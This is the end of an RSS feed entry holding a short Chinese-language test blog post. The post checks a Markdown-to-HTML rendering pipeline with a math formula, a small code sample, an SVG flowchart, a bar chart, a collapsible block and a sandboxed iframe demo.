<p>質能等價：<span class="katex"><span class="katex-mathml"><math><semantics><mrow><mi>E</mi><mo>=</mo><mi>m</mi><msup><mi>c</mi><mn>2</mn></msup></mrow><annotation>E = mc^2</annotation></semantics></math></span><span class="katex-html"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.0576em;">E</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord mathnormal">m</span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span></p>
<h2 id="程式碼">程式碼</h2>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="js" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">export</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> function</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF"> hello</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">() {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">  return</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "world"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">;</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">}</span></span></code></pre></figure>
<h2 id="新增的內嵌功能" class="phrased">新增<wbr>的內嵌<wbr>功能</h2>
<h3 id="流程圖">流程圖</h3>
<figure class="diagram"><svg viewBox="0.00 0.00 451.00 44.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="這篇文章的渲染管線">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 40)">
<polygon fill="none" stroke="none" points="-4,4 -4,-40 447,-40 447,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="53.41" cy="-18" rx="53.41" ry="18"></ellipse>
<text text-anchor="middle" x="53.41" y="-13.8" font-family="Times,serif" font-size="14.00">Markdown</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="181.21" cy="-18" rx="38.38" ry="18"></ellipse>
<text text-anchor="middle" x="181.21" y="-13.8" font-family="Times,serif" font-size="14.00">remark</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M107.03,-18C114.99,-18 123.18,-18 131.06,-18"></path>
<polygon fill="currentColor" stroke="currentColor" points="130.82,-21.5 140.82,-18 130.82,-14.5 130.82,-21.5"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="292.9" cy="-18" rx="37.31" ry="18"></ellipse>
<text text-anchor="middle" x="292.9" y="-13.8" font-family="Times,serif" font-size="14.00">rehype</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M219.96,-18C227.62,-18 235.77,-18 243.74,-18"></path>
<polygon fill="currentColor" stroke="currentColor" points="243.68,-21.5 253.68,-18 243.68,-14.5 243.68,-21.5"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="404.6" cy="-18" rx="38.39" ry="18"></ellipse>
<text text-anchor="middle" x="404.6" y="-13.8" font-family="Times,serif" font-size="14.00">HTML</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M330.43,-18C338.14,-18 346.39,-18 354.48,-18"></path>
<polygon fill="currentColor" stroke="currentColor" points="354.22,-21.5 364.22,-18 354.22,-14.5 354.22,-21.5"></polygon>
</g>
</g>
</svg><figcaption>這篇文章的渲染管線</figcaption></figure>
<h3 id="圖表">圖表</h3>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="這次新加的四種內嵌" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0.50</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">1</text><rect x="73.5" y="24" width="62" height="206" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="105.5" y="18" text-anchor="middle" style="fill:var(--ink);font-size:11px">1</text><text x="105.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">流程圖</text><rect x="196.5" y="24" width="62" height="206" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="228.5" y="18" text-anchor="middle" style="fill:var(--ink);font-size:11px">1</text><text x="228.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">圖表</text><rect x="319.5" y="24" width="62" height="206" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="351.5" y="18" text-anchor="middle" style="fill:var(--ink);font-size:11px">1</text><text x="351.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">折疊區塊</text><rect x="442.5" y="24" width="62" height="206" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:3"></rect><text x="474.5" y="18" text-anchor="middle" style="fill:var(--ink);font-size:11px">1</text><text x="474.5" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">互動示範</text></svg><figcaption>這次新加的四種內嵌</figcaption></figure>
<h3 id="可折疊區塊" class="phrased">可<wbr>折疊<wbr>區塊</h3>
<details><summary>這篇文章驗證了什麼</summary><p>GFM 表格、數學公式、程式碼高亮，加上這次新加的四種內嵌：DOT 流程圖、
JSON 圖表、原生折疊區塊，以及沙盒 iframe 互動示範（見下）。</p></details>
<h3 id="互動示範" class="phrased">互動<wbr>示範</h3>
<figure class="demo-embed"><iframe src="/demos/hello-demo/" title="Hello 示範：easing 曲線" sandbox="allow-scripts" loading="lazy" style="width:100%;height:160px;border:1px solid var(--accent-hairline);border-radius:8px"></iframe><p><a href="/demos/hello-demo/">在新分頁開啟這個互動示範</a></p><figcaption>Hello 示範：easing 曲線</figcaption></figure>
<hr>
<p>管線都通了，接下來才是真正要寫的東西。</p>]]></content:encoded>
    </item>
  </channel>
</rss>
